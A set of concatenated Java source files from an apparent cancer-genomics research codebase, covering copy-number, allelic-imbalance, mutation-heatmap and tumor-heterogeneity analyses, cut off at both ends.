java.util.*; import org.apache.commons.math3.distribution.NormalDistribution; import org.apache.commons.cli.*; import sun.reflect.Reflection; public class PoibinRNA { NormalDistribution ND; double mu; double sigma; double gamma; public PoibinRNA(){ ND = new NormalDistribution(); } public void setParameters(List <Double> p){ mu = 0; sigma = 0; gamma= 0; for(double d: p){ mu += d; sigma += d*(1-d); gamma += d*(1-d)*(1-2*d); } sigma = Math.pow(sigma, 0.5); gamma /= Math.pow(sigma, 3); } public double getCdf(int k){ double x = (k + 0.5 -mu)/sigma; double c = G(x); if(c>1){c=1.0;}; if(c<0){c=0.0;}; return c; } private double G(double x){ return ND.cumulativeProbability(x) + gamma * (1 - Math.pow(x, 2)) * ND.density(x) /6; } public double getCdf(int k, List <Double> p){ setParameters(p); return getCdf(k); } public static void main(String [] args) throws Exception{ Options options = new Options(); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " k p1 p2 ... ", options); System.exit(1); } List <String> L = commandLine.getArgList(); if(L.size() < 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " k p1 p2 ...", options); System.exit(1); } PoibinRNA PB = new PoibinRNA(); int k = Integer.valueOf(L.get(0)); List <Double> p = new ArrayList<Double>(); for(int i = 1; i < L.size(); i++){ p.add(Double.valueOf(L.get(i))); } System.out.println(PB.getCdf(k, p)); } } <file_sep>/src/mutation/MutHeatmap.java package mutation; import java.applet.Applet; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.apache.commons.cli.*; import sun.reflect.Reflection; import utility.*; public class MutHeatmap extends Heatmap{ private static final long serialVersionUID = 1L; public MutHeatmap(Applet C) throws Exception { super(C); } public static void sortMatrix(MyMat M){ List<Double> colmean = M.getColMeans(); Map <String,Double> tmp = new HashMap<String, Double>(); for(int i = 0; i<M.rowSize(); i++){ tmp.put(M.getRowNames().get(i), colmean.get(i)); } List <String> sortedRowname = MyFunc.sortKeysByDescendingOrderOfValues(tmp); List <String> sortedColname = new ArrayList<String>(); Set <String> seen = new HashSet<String>(); for(int i=0; i<M.rowSize(); i++){ String r = sortedRowname.get(i); List <Double> s = M.getRow(r); tmp.clear(); for(int j = 0; j<M.colSize(); j++){ if(s.get(j)>0 && !seen.contains(M.getColNames().get(j))){ tmp.put(M.getColNames().get(j), s.get(j)); seen.add(M.getColNames().get(j)); } } sortedColname.addAll(MyFunc.sortKeysByDescendingOrderOfValues(tmp)); } sortedColname.addAll(MyFunc.diff(M.getColNames(),sortedColname)); M.reorderRows(sortedRowname); M.reorderCols(sortedColname); } //remove empty sub matrix public static void sortMatrix2(MyMat M){ List<Double> colmean = M.getColMeans(); Map <String,Double> tmp = new HashMap<String, Double>(); for(int i = 0; i<M.rowSize(); i++){ tmp.put(M.getRowNames().get(i), colmean.get(i)); } List <String> sortedRowname = MyFunc.sortKeysByDescendingOrderOfValues(tmp); List <String> sortedColname = new ArrayList<String>(); Set <String> seen = new HashSet<String>(); for(int i=0; i<M.rowSize(); i++){ String r = sortedRowname.get(i); List <Double> s = M.getRow(r); tmp.clear(); for(int j = 0; j<M.colSize(); j++){ if(s.get(j)>0 && !seen.contains(M.getColNames().get(j))){ tmp.put(M.getColNames().get(j), s.get(j)); seen.add(M.getColNames().get(j)); } } sortedColname.addAll(MyFunc.sortKeysByDescendingOrderOfValues(tmp)); } M.reorderRows(sortedRowname); M.reorderCols(sortedColname); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("r", "rmenp", false, "remove empty submatrix"); options.addOption("W", "writepdf", true, "write pdf file"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile ", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile", options); return; } ClusteredMyMatWithAnnotation M = new ClusteredMyMatWithAnnotation(argList.get(0)); if(commandLine.hasOption("r")){ sortMatrix2(M); }else{ sortMatrix(M); } if(commandLine.hasOption("W")){ ClusteredMyMatViewer MV = new ClusteredMyMatViewer(M); MV.setProfileColor("lightgray", "red"); MV.setOutFile(commandLine.getOptionValue("W")); MV.useAutoStop(); Heatmap H = new Heatmap(MV); H.setVisible(true); }else{ InteractiveClusteredMyMatViewer MV = new InteractiveClusteredMyMatViewer(M); MV.setProfileColor("lightgray", "red"); Heatmap H = new Heatmap(MV); H.setVisible(true); } } } <file_sep>/src/snp/FOCNAP2.java package snp; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.zip.DataFormatException; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; import utility.MyFunc; import utility.MyMat; public class FOCNAP2 { List <Integer> D; FOCNAP F; MyMat Score; MyMat CNA; double zcutoff = 5; double ampcutoff = 0.1; double delcutoff = 0.1; public FOCNAP2(String segFile, String geneBedFile) throws IOException, DataFormatException { F = new FOCNAP(segFile, geneBedFile); D = new ArrayList<Integer>(); D.add(100000); D.add(500000); D.add(1000000); } @SuppressWarnings("null") void detectCNA(){ delcutoff = F.CN.percentile(delcutoff); ampcutoff = F.CN.percentile(1-ampcutoff); //System.err.println(ampcutoff + " " + delcutoff); CNA = new MyMat(Score.getRowNames(),Score.getColNames()); for(String g: CNA.getRowNames()){ int c = F.GI.chr(g); int s = F.GI.start(g); int e = F.GI.end(g); int M = (s + e)/2; for(String samp: CNA.getColNames()){ SegmentContainer cn = F.CN.get(samp); if(!cn.contains(c)){ continue; } Segment seg = cn.get(c,M); if(seg != null){ if(seg.value() >= ampcutoff){ CNA.set(g, samp, 1.0); }else if(seg.value() <= delcutoff){ CNA.set(g, samp, -1.0); } } } } } void perform(){ List <MyMat> Scores = new ArrayList<MyMat>(); for(Integer d: D){ F.d = d; F.perform(); Scores.add(new MyMat(F.Score)); F.resetScore(); } Score = Scores.get(0); for(int k=1; k<D.size();k++){ MyMat tmp = Scores.get(k); for(int i=0; i<Score.rowSize();i++){ for(int j=0; j<Score.colSize();j++){ if(Math.abs(Score.get(i, j)) < Math.abs(tmp.get(i, j))){ Score.set(i,j, tmp.get(i, j)); } } } } } void calculateZscores(){ List <Double> tmp = Score.asList(); double m = MyFunc.mean(tmp); double sd = MyFunc.sd(tmp); for(int i = 0; i < Score.rowSize(); i++){ for(int j = 0; j < Score.colSize(); j++){ Score.set(i, j, (Score.get(i, j)-m)/sd); } } } void discretizeScores(){ calculateZscores(); detectCNA(); for(int i = 0; i < Score.rowSize(); i++){ for(int j = 0; j < Score.colSize(); j++){ if(Score.get(i, j) >= zcutoff & CNA.get(i, j) >= 0.5){ //if(Score.get(i, j) >= zcutoff ){ Score.set(i, j, 1); }else if(Score.get(i, j) <= -zcutoff & CNA.get(i, j) <= -0.5){ //}else if(Score.get(i, j) <= -zcutoff){ Score.set(i, j, -1); }else{ Score.set(i, j, 0); } } } } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("k", "kernel", true, "kernel width (defoult: 100000;500000;1000000)"); options.addOption("a", "ampcutoff", true, "amplification cutoff (0.1)"); options.addOption("d", "delcutoff", true, "deletion cutoff (0.1)"); options.addOption("z", "zcutoff", true, "zscore cutoff (3)"); options.addOption("o", "outfile", true, "output file"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] segFile geneBedFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] segFile geneBedFile", options); return; } FOCNAP2 F2 = new FOCNAP2(argList.get(0),argList.get(1)); if(commandLine.hasOption("k")){ List <String> tmp = MyFunc.split(";", commandLine.getOptionValue("k")); F2.D.clear(); for(String S:tmp){ F2.D.add(Integer.valueOf(S)); } } if(commandLine.hasOption("a")){ F2.ampcutoff = Double.valueOf(commandLine.getOptionValue("k")); } if(commandLine.hasOption("d")){ F2.delcutoff = Double.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("z")){ F2.zcutoff = Double.valueOf(commandLine.getOptionValue("z")); } F2.perform(); //F2.calculateZscores(); F2.discretizeScores(); if(commandLine.hasOption("o")){ F2.Score.print(commandLine.getOptionValue("o")); }else{ F2.Score.print(); } } } <file_sep>/bin/snp/.svn/text-base/AllelicImbalanceTest.java.svn-base package snp; import java.util.*; import sun.reflect.Reflection; import utility.*; import org.apache.commons.cli.*; import org.apache.commons.math.MathException; import org.apache.commons.math.distribution.*; public class AllelicImbalanceTest{ private MyMat AI; // 0, No AI; 1, AI to A; 2, AI to B private List <Double> binomialP; private List <Double> correctedP; private List <Integer> A; private List <Integer> B; private List <Double> BratioForEachArray; private Double Alabel = 1.0; private Double Blabel = 2.0; private MyMat result; private BinomialDistributionImpl BD; private List <Double> topPermutationP; private int numberOfPermutations = 100; public AllelicImbalanceTest(MyMat AI){ System.err.println("Setuping the test....."); this.AI = AI; BD = new BinomialDistributionImpl(0, 0.5); } public void perform(){ calculateBinomialP(); calculateBratioForEachArray(); perfomPermutation(); calculateCorrectedP(); prepareResultMatrix(); } public MyMat getResult(){ return result; } private void calculateBinomialP(){ System.err.println("Caluluating Binomial Pvalues....."); binomialP = new ArrayList<Double>(); A = new ArrayList<Integer>(); B = new ArrayList<Integer>(); int j,i,ncol,nrow; nrow = AI.rowSize(); ncol = AI.colSize(); for(i=0; i < nrow; i++){ int a = 0; int b = 0; for(j=0; j < ncol; j++ ){ if(AI.get(i, j)==Alabel){ a++; }else if(AI.get(i,j)==Blabel){ b++; } } A.add(a); B.add(b); double p=1; if(a+b>0){ int m = Math.min(a,b); BD.setNumberOfTrials(a+b); try { p = 2*BD.cumulativeProbability(m); } catch (MathException e) { e.printStackTrace(); } if(p>1){ p=1; } } binomialP.add(p); } } private void calculateBratioForEachArray(){ System.err.println("Caluluating B ratio for each aray....."); BratioForEachArray = new ArrayList<Double>(); int j,i,ncol,nrow; nrow = AI.rowSize(); ncol = AI.colSize(); for(j=0; j < ncol; j++ ){ double a = 0; double b = 0; for(i=0; i < nrow; i++){ if(AI.get(i, j)==Alabel){ a++; }else if(AI.get(i,j)==Blabel){ b++; } } if(a+b==0){ System.err.println("AI err: " + j + "-th col has no value!"); BratioForEachArray.add(Double.NaN); }else{ BratioForEachArray.add(b/(a+b)); } } } private void perfomPermutation(){ System.err.println("Perform Permutaion....."); int i; topPermutationP = new ArrayList<Double>(); for(i = 0; i < numberOfPermutations; i++){ System.err.println(i + "/" + numberOfPermutations); MyMat permAI = permutateAI(); List <Double> P = calculateBinomialP(permAI); topPermutationP.add(MyFunc.min(P)); } } private void calculateCorrectedP(){ System.err.println("Calculate corrected Pvalues....."); int i,j; int n = binomialP.size(); int m = topPermutationP.size(); correctedP = new ArrayList<Double>(); for(i = 0; i < n; i++){ double k = 0; for(j = 0; j < m; j++){ if(binomialP.get(i) > topPermutationP.get(j)){ k++; } } double p= k/m; correctedP.add(p); } } private void prepareResultMatrix(){ System.err.println("Prepare a result matrix....."); List <String> field = new ArrayList<String>(); field.add("A"); field.add("B"); field.add("binomialP"); field.add("correctedP"); List <String> id = AI.getRowNames(); result = new MyMat(id,field); int i; for(i=0;i<result.rowSize();i++){ result.set(i, 0, A.get(i)); result.set(i, 1, B.get(i)); result.set(i, 2, binomialP.get(i)); result.set(i, 3, correctedP.get(i)); } Map <String,Double> tmp = result.getColMap(2); id = MyFunc.sortKeysByAscendingOrderOfValues(tmp); result.reorderRows(id); } private List <Double> calculateBinomialP(MyMat AI){ List <Double> P = new ArrayList<Double>(); int j,i,ncol,nrow; nrow = AI.rowSize(); ncol = AI.colSize(); for(i=0; i < nrow; i++){ int a = 0; int b = 0; for(j=0; j < ncol; j++ ){ if(AI.get(i, j)==Alabel){ a++; }else if(AI.get(i,j)==Blabel){ b++; } } double p=1; if(a+b>0){ int m = Math.min(a,b); BD.setNumberOfTrials(a+b); try { p = 2*BD.cumulativeProbability(m); } catch (MathException e) { e.printStackTrace(); } if(p>1){ p=1; } } P.add(p); } return P; } private MyMat permutateAI(){ MyMat permAI = new MyMat(AI.getRowNames(), AI.getColNames()); int j,i,ncol,nrow; nrow = AI.rowSize(); ncol = AI.colSize(); Random rnd = new Random(); for(i=0; i < nrow; i++){ for(j=0; j < ncol; j++ ){ if(AI.get(i, j)==Alabel||AI.get(i, j)==Blabel){ if(rnd.nextDouble() > BratioForEachArray.get(j)){ permAI.set(i,j,Alabel); }else{ permAI.set(i,j,Blabel); } }else{ permAI.set(i,j,Double.NaN); } } } return permAI; } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("a", "alabel", true, "value of a label"); options.addOption("b", "blabel", true, "value of b label"); options.addOption("p", "perm", true, "number of permutaions"); options.addOption("o", "outfile", true, "output file name"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] AIfile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] AIfile", options); return; } MyMat AI = new MyMat(argList.get(0)); AllelicImbalanceTest AIT = new AllelicImbalanceTest(AI); if(commandLine.hasOption("a")){ AIT.Alabel = Double.valueOf(commandLine.getOptionValue("a")); } if(commandLine.hasOption("b")){ AIT.Blabel = Double.valueOf(commandLine.getOptionValue("b")); } if(commandLine.hasOption("p")){ AIT.numberOfPermutations = Integer.valueOf(commandLine.getOptionValue("p")); } AIT.perform(); if(commandLine.hasOption("o")){ AIT.getResult().print(commandLine.getOptionValue("o")); }else{ AIT.getResult().print(); } } }<file_sep>/src/eem/MergeExpressionModuleSet.java package eem; public class MergeExpressionModuleSet { public static void main(String [] args) throws Exception{ ExpressionModuleSet ems = new ExpressionModuleSet(); for(int i = 0; i < args.length -1; i++){ ems.addAll(ExpressionModuleSet.ReadFromFile(args[i])); } ems.writeToFile(args[args.length-1]); } } <file_sep>/bin/snp/old/.svn/text-base/SAIRIC5.java.svn-base package snp.old; import java.io.*; import java.util.*; import java.util.zip.DataFormatException; import utility.*; import org.apache.commons.math.MathException; import org.apache.commons.math.distribution.*; import org.apache.commons.cli.*; import snp.ProbeInfo; import snp.Segment; import snp.SegmentContainer; import snp.SegmentContainerMap; import snp.SegmentContainer.SegmentIterator; import sun.reflect.Reflection; // use poisson binomial public class SAIRIC5 extends SAIRIC4 { public SAIRIC5(SegmentContainerMap baf,SegmentContainerMap logr, ProbeInfo pi)throws IOException, DataFormatException { super(baf, logr, pi); } protected MyMat poissonBinomialP; //[amp, del, neut, AI] x sample protected MyMat normalStatistics; //[ampAI, delAI, neutAI] x [mean, sd, shapiroP] protected void calculateScores(){ scores = new MyMat(probeList, scoreTypes); poissonBinomialP = new MyMat(scoreTypes.subList(0, 4),new ArrayList<String>(sampleSet())); for(String s: sampleSet()){ SegmentContainer bafSC = BAF.get(s); SegmentContainer logrSC = LogR.get(s); SegmentContainer.SegmentIterator bafSCitr = bafSC.iterator(); SegmentContainer.SegmentIterator logrSCitr = logrSC.iterator(); Segment S = bafSCitr.next(); Segment S2 = logrSCitr.next(); for(String p: probeSet()){ int chr = probeInfo.chr(p); int pos = probeInfo.pos(p); while(chr > S.chr()){ S = bafSCitr.next(); } while(pos > S.end()){ S = bafSCitr.next(); } while(chr > S2.chr()){ S2 = logrSCitr.next(); } while(pos > S2.end()){ S2 = logrSCitr.next(); } double baf = S.value(); double logr = S2.value(); //amp if(logr > ampCutoff){ scores.set(p, scoreTypes.get(0), scores.get(p, scoreTypes.get(0))+1); poissonBinomialP.set(scoreTypes.get(0), s, poissonBinomialP.get(scoreTypes.get(0), s) + 1); } //del if(logr < delCutoff){ scores.set(p, scoreTypes.get(1), scores.get(p, scoreTypes.get(1))+1); poissonBinomialP.set(scoreTypes.get(1), s, poissonBinomialP.get(scoreTypes.get(1), s) + 1); } //neut if(logr >= delCutoff & logr <= ampCutoff){ scores.set(p, scoreTypes.get(2), scores.get(p, scoreTypes.get(2))+1); poissonBinomialP.set(scoreTypes.get(2), s, poissonBinomialP.get(scoreTypes.get(2), s) + 1); } //AI if(baf>= AICutoff){ scores.set(p, scoreTypes.get(3), scores.get(p, scoreTypes.get(3))+1); poissonBinomialP.set(scoreTypes.get(3), s, poissonBinomialP.get(scoreTypes.get(3), s) + 1); } //ampAI if(baf>= AICutoff & logr > ampCutoff){ scores.set(p, scoreTypes.get(4), scores.get(p, scoreTypes.get(4))+1); } //delAI if(baf>= AICutoff & logr < delCutoff){ scores.set(p, scoreTypes.get(5), scores.get(p, scoreTypes.get(5))+1); } //neutAI if(baf>= AICutoff & logr >= delCutoff & logr <= ampCutoff){ scores.set(p, scoreTypes.get(6), scores.get(p, scoreTypes.get(6))+1); } } } for(String p: probeSet()){ for(int i = 4; i < 7;i++){ if(scores.get(p, scoreTypes.get(i-4))!=0){ scores.set(p, scoreTypes.get(i), scores.get(p, scoreTypes.get(i))/scores.get(p, scoreTypes.get(i-4))); }else{ scores.set(p, scoreTypes.get(i),Double.NaN); } } } for(String s: sampleSet()){ poissonBinomialP.set("amp", s, poissonBinomialP.get("amp",s)/probeSet().size()); } for(String s: sampleSet()){ poissonBinomialP.set("del", s, poissonBinomialP.get("del",s)/probeSet().size()); } for(String s1: scoreTypes.subList(2, 4)){ for(String s2: sampleSet()){ poissonBinomialP.set(s1, s2, poissonBinomialP.get(s1,s2)/probeSet().size()); } } } protected void caluculateNormalStatistics(){ List <String> tmp = new ArrayList<String>(); tmp.add("mean"); tmp.add("sd"); tmp.add("shapiroP"); normalStatistics = new MyMat(scoreTypes.subList(4, 7), tmp); for(String s: scoreTypes.subList(4, 7)){ List<Double> v = nullScores.getCol(s); normalStatistics.set(s, "mean", MyFunc.mean(v)); normalStatistics.set(s, "sd", MyFunc.sd(v)); if(v.size() > 5000){ v = v.subList(0, 4999); } normalStatistics.set(s, "shapiroP", MyFunc.shapiroTest(v)); } } protected void calculatePvalues(){ pvalues = new MyMat(probeList, scoreTypes); for(String s: scoreTypes.subList(0, 4)){ List <Double> tmp = scores.getCol(s); double M = MyFunc.max(tmp); double m = MyFunc.min(tmp); List <Integer> kk = new ArrayList<Integer>(); for(int i=(int) m;i<=(int)M;i++){ kk.add(i); } List<Double> pp = poissonBinomialP.getRow(s); List<Double> pv = getPoissonBinomialPvalue(kk,pp); Map<Integer, Double> kk2pv = new HashMap<Integer, Double>(); for(int i=0; i<kk.size();i++){ kk2pv.put(kk.get(i),pv.get(i)); } for(String p: probeList){ int score = (int)scores.get(p, s); double pvalue = kk2pv.get(score); pvalues.set(p, s, pvalue); } } for(String s: scoreTypes.subList(4, 7)){ Distribution D = new NormalDistributionImpl(normalStatistics.get(s,"mean"), normalStatistics.get(s,"sd")); for(String p: probeList){ Double score = scores.get(p, s); double pvalue = 1; if(!score.isNaN()){ try { pvalue = 1- D.cumulativeProbability(score); } catch (MathException e) { e.printStackTrace(); } } pvalues.set(p, s, pvalue); } } } public static List<Double> getPoissonBinomialPvalue(List<Integer> kk, List<Double> pp){ String tmpFile = "tmp" + Math.round(Math.random()*100000000); try { PrintWriter os; os = new PrintWriter(new FileWriter(tmpFile + ".kk")); for(int i = 0, n = kk.size(); i < n; i++){ os.println(kk.get(i).toString()); } os.flush(); os.close(); os = new PrintWriter(new FileWriter(tmpFile + ".pp")); for(int i = 0, n = pp.size(); i < n; i++){ os.println(pp.get(i).toString()); } os.flush(); os.close(); os = new PrintWriter(new FileWriter(tmpFile + ".R")); os.println("kk<-scan(\"" + tmpFile + ".kk" + "\")"); os.println("pp<-scan(\"" + tmpFile + ".pp" + "\")"); os.println("library(poibin)"); os.println("pv<-1-ppoibin(kk=kk, pp=pp, method = \"DFT-CF\")"); os.println("pv[pv<=0]<-min(pv[pv>0])"); os.println("write(pv, ncolumns=1, file=\"" + tmpFile + ".pv" + "\")"); os.flush(); os.close(); MyFunc.runRscript(tmpFile + ".R"); List<Double> p = MyFunc.readDoubleList(tmpFile + ".pv"); File f = new File(tmpFile + ".kk"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".pp"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".R"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".pv"); if(!f.delete()){ f.deleteOnExit(); } return p; } catch (Exception e) { throw new ArithmeticException(); } } public void perform(){ System.err.println("calculate scores...."); calculateScores(); //System.err.println(scores); System.err.println("calculate null scores...."); calculateNullScores(); //System.err.println(nullScores); System.err.println("calculate normal statistics...."); caluculateNormalStatistics(); System.err.println(""); System.err.println(normalStatistics); System.err.println("calculate pvalues...."); calculatePvalues(); System.err.println("calculate qvalues...."); calculateQvalues(); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("a", "ampcutoff", true, "cutoff for amplification call"); options.addOption("d", "delcutoff", true, "cutoff for deletion call"); options.addOption("A", "aicutoff", true, "cutoff for AI call"); options.addOption("n", "ndsize", true, "size of null distributions"); options.addOption("o", "outfile", true, "output file name"); options.addOption("t", "thinpi", true, "thin down probe info"); options.addOption("i", "interval", true, "interval for psuedo probe info"); options.addOption("c", "cutbyper", true, "amp and del cutoff by percentile"); options.addOption("s", "score", true, "score file name"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] BAFSegFile LogRSegFile probeTsvFile", options); System.exit(1); } List <String> argList = commandLine.getArgList(); if(!(argList.size() == 3 | argList.size() == 2)){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] BAFSegFile LogRSegFile probeTsvFile", options); System.exit(1); } SegmentContainerMap BAF = new SegmentContainerMap(argList.get(0)); SegmentContainerMap LogR = new SegmentContainerMap(argList.get(1)); ProbeInfo PI; List<String> sample = new ArrayList<String>(BAF.keySet()); if(argList.size() == 3 ){ PI = ProbeInfo.getProbeInfoFromTsvFile(argList.get(2)); if(commandLine.hasOption("t")){ PI.thinDown(Integer.valueOf(commandLine.getOptionValue("t"))); } PI.filter(BAF.get(sample.get(0))); }else{ int interval = 10000; if(commandLine.hasOption("i")){ interval = Integer.valueOf(commandLine.getOptionValue("i")); } PI = ProbeInfo.generatePsuedoProbeInfo(interval); PI.filter(BAF.get(sample.get(0))); } SAIRIC5 SAIRIC = new SAIRIC5(BAF,LogR,PI); if(commandLine.hasOption("a")){ SAIRIC.ampCutoff = Double.valueOf(commandLine.getOptionValue("a")); } if(commandLine.hasOption("d")){ SAIRIC.delCutoff = Double.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("A")){ SAIRIC.AICutoff = Double.valueOf(commandLine.getOptionValue("A")); } if(commandLine.hasOption("p")){ SAIRIC.nullDistSize = Integer.valueOf(commandLine.getOptionValue("p")); } if(commandLine.hasOption("c")){ SAIRIC.setLogRcutoffByPercentile(Double.valueOf(commandLine.getOptionValue("c"))); } SAIRIC.perform(); MyMat tmp = SAIRIC.getMinusLogQvalues(); Writer os; if(commandLine.hasOption("o")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("o"))); }else{ os = new PrintWriter(System.out); } os.write("Probe" + "\t" + "Chrom" + "\t" + "BasePair" + "\t" + MyFunc.join("\t", SAIRIC.scoreTypes) + "\n"); for(String s: PI.getProbeSet()){ os.write(s + "\t" + PI.chr(s) + "\t" + PI.pos(s) + "\t" + MyFunc.join("\t", tmp.getRow(s))+ "\n"); } os.flush(); if(commandLine.hasOption("s")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("s"))); tmp = SAIRIC.getScores(); os.write("Probe" + "\t" + "Chrom" + "\t" + "BasePair" + "\t" + MyFunc.join("\t", SAIRIC.scoreTypes)+ "\n"); for(String s: PI.getProbeSet()){ os.write(s + "\t" + PI.chr(s) + "\t" + PI.pos(s) + "\t" + MyFunc.join("\t", tmp.getRow(s))+ "\n"); } os.flush(); } } } <file_sep>/src/clone/IntratumorHeterogeneityProfiler.java package clone; import java.io.IOException; import java.util.*; import java.util.zip.DataFormatException; import mutation.MutualExclusivityTest; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import org.apache.commons.math3.distribution.BinomialDistribution; import sun.reflect.Reflection; import utility.MyFunc; import utility.MyMat; public class IntratumorHeterogeneityProfiler { Map <String, Integer> nA; Map <String, Integer> nB; Map <String, Integer> mac; Map <String, Integer> depth; Map <String, Double> purity; List <String> mutID; Map <String, List<Double>> ccfProbability; Map <String, Double> mean; Map <String, Double> upperBound; Map <String, Double> lowerBound; boolean mutBeforeCNalteration = false; public IntratumorHeterogeneityProfiler(String infile) throws IOException, DataFormatException{ MyMat M = new MyMat(infile); mutID = M.getRowNames(); if(M.containsColName("nA") ){ nA = new HashMap<String, Integer>(); for(String s:mutID){ nA.put(s, (int)M.get(s, "nA")); } }else{ throw new DataFormatException(); } if(M.containsColName("nB") ){ nB = new HashMap<String, Integer>(); for(String s:mutID){ nB.put(s, (int)M.get(s, "nB")); } }else{ throw new DataFormatException(); } if(M.containsColName("depth") ){ depth = new HashMap<String, Integer>(); for(String s:mutID){ depth.put(s, (int)M.get(s, "depth")); } }else{ throw new DataFormatException(); } if(M.containsColName("purity") ){ purity = new HashMap<String, Double>(); for(String s:mutID){ purity.put(s, M.get(s, "purity")); } }else{ throw new DataFormatException(); } if(M.containsColName("maf")){ mac = new HashMap<String, Integer>(); for(String s:mutID){ mac.put(s, (int) ((M.get(s, "maf") <= 1)? Math.round(M.get(s, "maf")*depth.get(s)) : M.get(s, "maf"))); } }else{ throw new DataFormatException(); } ccfProbability = new HashMap<String,List<Double>>(); mean = new HashMap<String,Double>(); upperBound = new HashMap<String,Double>(); lowerBound = new HashMap<String,Double>(); } void calculateFccProbability(){ for(String s:mutID){ System.err.println(s); List <Double > ccfP = new ArrayList<Double>(); for(int i = 0; i< 100; i++){ ccfP.add(0.0); } if(nA.get(s) == nB.get(s)){ if( nA.get(s) ==1){ // cn neutral for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), 1)); } }else{ if(!mutBeforeCNalteration){ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), 1)); ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), nA.get(s))); } }else{ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), nA.get(s))); } } } }else if(nA.get(s) * nB.get(s) == 0 ){ //LOH if(mutBeforeCNalteration){ int q = nA.get(s) + nB.get(s); for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), q)); } }else{ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), 1)); } int q = nA.get(s) + nB.get(s); if(q >1){ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1),q)); } } } }else{ if(!mutBeforeCNalteration){ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1), 1)*2); } } if(nA.get(s) >1){ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1),nA.get(s))); } } if(nB.get(s) >1){ for(int i = 0; i< 100; i++){ ccfP.set( i, ccfP.get(i) + LikelihoodFunction(s,0.01 * (i +1),nB.get(s))); } } } double tmp = MyFunc.sum(ccfP); for(int i = 0; i< 100; i++){ ccfP.set( i,ccfP.get(i)/tmp); } ccfProbability.put(s, ccfP); } } private double LikelihoodFunction(String s, double c, double p){ // mutID, ccf, mutated allele copy number double q = nA.get(s) + nB.get(s); //total copy number double alpha = purity.get(s); // purity double f = alpha * c * p; //double f = alpha * c * q/p; f /= 2*(1 - alpha) + alpha * q; return (new BinomialDistribution(depth.get(s), f)).probability(mac.get(s)); } void calculateStatistics(){ for(String s:mutID){ double tmp = 0; for(int i = 0; i< 100; i++){ tmp += ccfProbability.get(s).get(i); if(tmp > 0.05 & !lowerBound.containsKey(s) ){ lowerBound.put(s, (i+1)*0.01); } if(tmp > 0.5 & !mean.containsKey(s) ){ mean.put(s, (i+1)*0.01); } if(tmp > 0.95 & !upperBound.containsKey(s) ){ upperBound.put(s, (i+1)*0.01); } } } } void printResult(){ System.out.println("\t" + "mean" + "\t" + "lowerBound" + "\t" + "upperBound"); for(String s:mutID){ System.out.println(s + "\t" + mean.get(s) + "\t" + lowerBound.get(s) + "\t" + upperBound.get(s)); } } MyMat getCcfProbabilityMatrix(){ List <String> L = new ArrayList <String>(); for(int i = 0; i< 100; i++){ String tmp = "ccf" + (i+1)*0.01; if(tmp.length() > 7){ tmp = tmp.substring(0,7); } L.add(tmp); } MyMat M = new MyMat(mutID,L); for(int i = 0; i < mutID.size(); i++){ for(int j = 0; j< 100; j++){ M.set(i,j, 